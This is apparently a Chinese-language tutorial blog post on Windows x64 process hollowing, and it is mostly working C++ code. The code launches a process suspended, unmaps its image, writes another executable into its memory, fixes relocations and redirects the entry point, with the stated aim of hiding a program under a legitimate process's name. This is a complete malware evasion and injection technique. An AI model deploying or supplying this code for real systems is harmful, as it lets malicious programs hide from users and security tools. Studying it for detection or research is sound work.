进程镂空,就是把进程A内存里的东西掏空,然后把我们自己的程序放进原来的内存里运行,进程名还是A的,由此达到隐蔽行踪的目的。
LPSTARTUPINFOA pStartupInfo = new STARTUPINFOA(); LPPROCESS_INFORMATION pProcessInfo = new PROCESS_INFORMATION(); CreateProcessA(target_path.c_str(),NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,pStartupInfo,pProcessInfo);
pPEB包含有ImageBaseAddress,这个是需要使用的。
获取PEB需要使用一个API: NtQueryInformationProcess,这个需要通过GetProcAddress获取:
HMODULE hNTDLL = nullptr;
_NtQueryInformationProcess ntQueryInformationProcess = nullptr;
BOOL LoadNtQueryInformationProcess() {
hNTDLL = LoadLibraryA("ntdll");
if (hNTDLL == nullptr) {
return false;
}
FARPROC fpNtQueryInformationProcess = GetProcAddress(hNTDLL, "NtQueryInformationProcess");
if (fpNtQueryInformationProcess == nullptr) {
return false;
}
ntQueryInformationProcess = (_NtQueryInformationProcess)fpNtQueryInformationProcess;
return true;
}获取API之后读取PEB的地址:
PPEB FindPEB(_In_ HANDLE hProcess) {
if (ntQueryInformationProcess == nullptr) {
if (!LoadNtQueryInformationProcess()) {
return nullptr;
}
}
PPROCESS_BASIC_INFORMATION ProcBasic = new PROCESS_BASIC_INFORMATION();
ULONG ProcBasicLength = 0;
ntQueryInformationProcess(hProcess, ProcessBasicInformation, ProcBasic, sizeof(PROCESS_BASIC_INFORMATION), &ProcBasicLength);
return ProcBasic->PebBaseAddress;
}然后获取到PEB:
PPEB pPEB = new PEB();
BOOL ReadPEB(_In_ HANDLE hProcess, _Out_ PPEB pPEB) { if (ReadProcessMemory(hProcess, FindPEB(hProcess), (LPVOID)pPEB, sizeof(PEB), nullptr)) { return TRUE; } return FALSE; }
通过PEB就可以获取到ImageBaseAddress
PVOID ImageBaseAddress = pPEB->Reserved3[1];
这里说一下,如果直接看PEB结构体的定义,或者查微软的文档会发现ImageBaseAddress其实是个不开源的字段,保留给系统使用的,但是通过其他逆向的资料可以查到x64的PEB偏移是0x10,取偏移就可以了。也可以把别人做好了的PEB结构体拿过来直接用,不用系统给的,更加清晰。
自己的程序不能CreateProcess,我们要手动加载,然后填充到目标程序的内存里,所以要用读文件的方式:
HANDLE hFile = CreateFileA
(
hollowing_path.c_str(),
GENERIC_READ,
0,
0,
OPEN_ALWAYS,
0,
0
);
if (hFile == INVALID_HANDLE_VALUE) {
cout << "Error opening " << hollowing_path << endl;
return;
}
DWORD dwFileSize = GetFileSize(hFile, 0);
PBYTE pBuffer = new BYTE[dwFileSize + 1];
memset(pBuffer, 0, dwFileSize + 1);
DWORD dwBytesRead = 0;
ReadFile(hFile, pBuffer, dwFileSize, &dwBytesRead, 0);
CloseHandle(hFile);用CreateFile读文件,然后获取文件长度就行
这里要使用一个windows api: NtUnmapViewOfSection,这个API的功能是将目标进程从内存中取消映射。
if (hNTDLL == nullptr) {
hNTDLL = LoadLibraryA("ntdll");
}
FARPROC fpNtUnmapViewOfSection = GetProcAddress(hNTDLL, "NtUnmapViewOfSection");
_NtUnmapViewOfSection ntUnmapViewOfSection = (_NtUnmapViewOfSection)fpNtUnmapViewOfSection;
PVOID ImageBaseAddress = pPEB->Reserved3[1];
NTSTATUS ntStatus = ntUnmapViewOfSection(
pProcessInfo->hProcess,
ImageBaseAddress
);首先获取一下自己程序的文件头信息:
PLOADED_IMAGE GetPEHeader(LPVOID PE) {
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)PE;
PLOADED_IMAGE pLoadedImage = new LOADED_IMAGE();
pLoadedImage->FileHeader = (PIMAGE_NT_HEADERS64)((BYTE*)PE + pDosHeader->e_lfanew);
pLoadedImage->NumberOfSections = pLoadedImage->FileHeader->FileHeader.NumberOfSections;
pLoadedImage->Sections = IMAGE_FIRST_SECTION(pLoadedImage->FileHeader);
pLoadedImage->SizeOfImage = pLoadedImage->FileHeader->OptionalHeader.SizeOfImage;
return pLoadedImage;
}
PLOADED_IMAGE pLoadedImage = GetPEHeader(pBuffer);然后修改对应的内存权限:
LPVOID pImage = VirtualAllocEx(pProcessInfo->hProcess, ImageBaseAddress, pLoadedImage->SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
然后把文件头写入内存:
BOOL WriteProcRes = WriteProcessMemory(pProcessInfo->hProcess, ImageBaseAddress, pBuffer, pLoadedImage->FileHeader->OptionalHeader.SizeOfHeaders, nullptr);
我这里是直接用了ImageBaseAddress当写入地址,其实应该用VirtualAllocEx返回的地址,我在前面判断了一下发现是一样的。
然后再把每个section依次写入内存,注意一下我们自己的程序要用PointerToRawData,目的地址要用VirtualAddress,这个的区别是我们自己的程序现在还是file layout,放进内存要用memory layout,从file layout到memory layout需要内存对齐,地址会有变化。
依次写入section:
for (ULONG i = 0; i < pLoadedImage->NumberOfSections; i++) {
ULONGLONG des = (ULONGLONG)ImageBaseAddress + pLoadedImage->Sections[i].VirtualAddress;
//忽略.bss
if (pLoadedImage->Sections[i].PointerToRawData == 0) continue;
if (!WriteProcessMemory(pProcessInfo->hProcess, (LPVOID)des, (LPCVOID)((ULONGLONG)pBuffer + pLoadedImage->Sections[i].PointerToRawData), pLoadedImage->Sections[i].SizeOfRawData, nullptr)) {
cout << "Write section " << pLoadedImage->Sections[i].Name << "error" << endl;
}
printf("Section %s write at 0x%llx\n", pLoadedImage->Sections[i].Name, des);
}额外提一句,这里一定要把自己程序的ImageBase修改成PEB里的,要不然程序在mainCRTStartup就会崩溃掉,猜测的原因可能是寻址不仅仅是VirtualAddress,还有可能是ImageBase + RVA:
pLoadedImage->FileHeader->OptionalHeader.ImageBase = (ULONGLONG)ImageBaseAddress;
然后到了让程序能够跑起来的最关键的一个步骤,因为目标程序有一个ImageBase,自己的程序有另外一个Base,而程序内的指针寻址都是靠VirtualAddress寻址的,不修重定位会导致定位到错误的地址导致程序崩溃掉。
先计算一下目标程序和源程序的ImageBase有不有区别,有区别就修复,没区别可以不修,不过一般都有区别的:
ULONGLONG RelcDelta = (ULONGLONG)ImageBaseAddress - pLoadedImage->FileHeader->OptionalHeader.ImageBase;
如果有就进行重定位修复:
if (RelcDelta) {
cout << "Starting relocation fixing" << endl;
PIMAGE_SECTION_HEADER RelcSection = nullptr;
for (ULONG i = 0; i < pLoadedImage->NumberOfSections; i++) {
if (!memcmp(pLoadedImage->Sections[i].Name, ".reloc", 6)) {
RelcSection = &pLoadedImage->Sections[i];
break;
}
}
if (RelcSection == nullptr) {
cout << "Cannot find section .reloc" << endl;
return;
}
IMAGE_DATA_DIRECTORY RelcData = pLoadedImage->FileHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
ULONG RelcAddr = RelcSection->PointerToRawData;
PIMAGE_BASE_RELOCATION pRelcBaseBlock = (PIMAGE_BASE_RELOCATION)((ULONGLONG)pBuffer + RelcAddr);
for (ULONG offset = 0; offset < RelcData.Size; offset = offset + pRelcBaseBlock->SizeOfBlock) {
pRelcBaseBlock = (PIMAGE_BASE_RELOCATION)((ULONGLONG)pBuffer + RelcAddr + offset);
PBASE_RELOCATION_ENTRY pRelcEntry = (PBASE_RELOCATION_ENTRY)((ULONGLONG)pRelcBaseBlock + sizeof(IMAGE_BASE_RELOCATION));
ULONG EntryCount = (pRelcBaseBlock->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(BASE_RELOCATION_ENTRY);
for (ULONG i = 0; i < EntryCount; i++) {
if (pRelcEntry[i].Type != IMAGE_REL_BASED_DIR64) continue;
ULONGLONG ullBuffer = 0;
ReadProcessMemory(pProcessInfo->hProcess, (LPCVOID)((ULONGLONG)ImageBaseAddress + pRelcBaseBlock->VirtualAddress + pRelcEntry[i].Offset), &ullBuffer, sizeof(ULONGLONG), nullptr);
//printf("Relocationg: 0x%llx -> 0x%llx\n", ullBuffer, ullBuffer + RelcDelta);
ullBuffer += RelcDelta;
WriteProcessMemory(pProcessInfo->hProcess, (LPVOID)((ULONGLONG)ImageBaseAddress + pRelcBaseBlock->VirtualAddress + pRelcEntry[i].Offset), &ullBuffer, sizeof(ULONGLONG), nullptr);
}
}
}MSVC编译的程序一般会有一个section叫".reloc",专门用于存放重定位信息,所以通过遍历节表找到叫这个的section就行。
.reloc这个section的结构就包含两个结构体,一个是IMAGE_BASE_RELOCATION,大小8个字节,定义如下:
typedef struct _IMAGE_BASE_RELOCATION {
DWORD VirtualAddress; // 块的起始 RVA(内存页基址)
DWORD SizeOfBlock; // 块总大小(包括本结构和后续条目)
} IMAGE_BASE_RELOCATION, *PIMAGE_BASE_RELOCATION;
还有一个是BASE_RELOCATION_ENTRY,大小2个字节,这个是自己定义的:
typedef struct BASE_RELOCATION_ENTRY {
USHORT Offset : 12;
USHORT Type : 4;
} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY;高12个bit用于表示需要修复重定位的地址的偏移,12bit就是0xFFF。
整个.reloc的结构就是:
IMAGE_BASE_RELOCATION1->BASE_RELOCATION_ENTRY1->BASE_RELOCATION_ENTRY2....
IMAGE_BASE_RELOCATION2->BASE_RELOCATION_ENTRY1->BASE_RELOCATION_ENTRY2....
IMAGE_BASE_RELOCATION3->BASE_RELOCATION_ENTRY1->BASE_RELOCATION_ENTRY2....
这已经到了最后一步,在x64的环境中恢复挂起的线程的时候会从RCX中读取程序的起始地址,所以我们把EntryPoint填进去就行了,然后恢复执行即可。
LPCONTEXT lpContext = new CONTEXT();
lpContext->ContextFlags = CONTEXT_ALL;
if (!GetThreadContext(pProcessInfo->hThread, lpContext)) {
cout << "Cannot get thread" << endl;
return;
}
lpContext->Rcx = (ULONGLONG)ImageBaseAddress + pLoadedImage->FileHeader->OptionalHeader.AddressOfEntryPoint;
if (!SetThreadContext(pProcessInfo->hThread, lpContext)) {
cout << "Cannot set thread" << endl;
return;
}
cout << "Resuming thread" << endl;
if (ResumeThread(pProcessInfo->hThread) == -1) {
cout << "Resuming thread fail" << endl;
return;
}根据我调试的结果来看,把RIP设置成EP好像也是可以的,但是我这里设置的是RCX。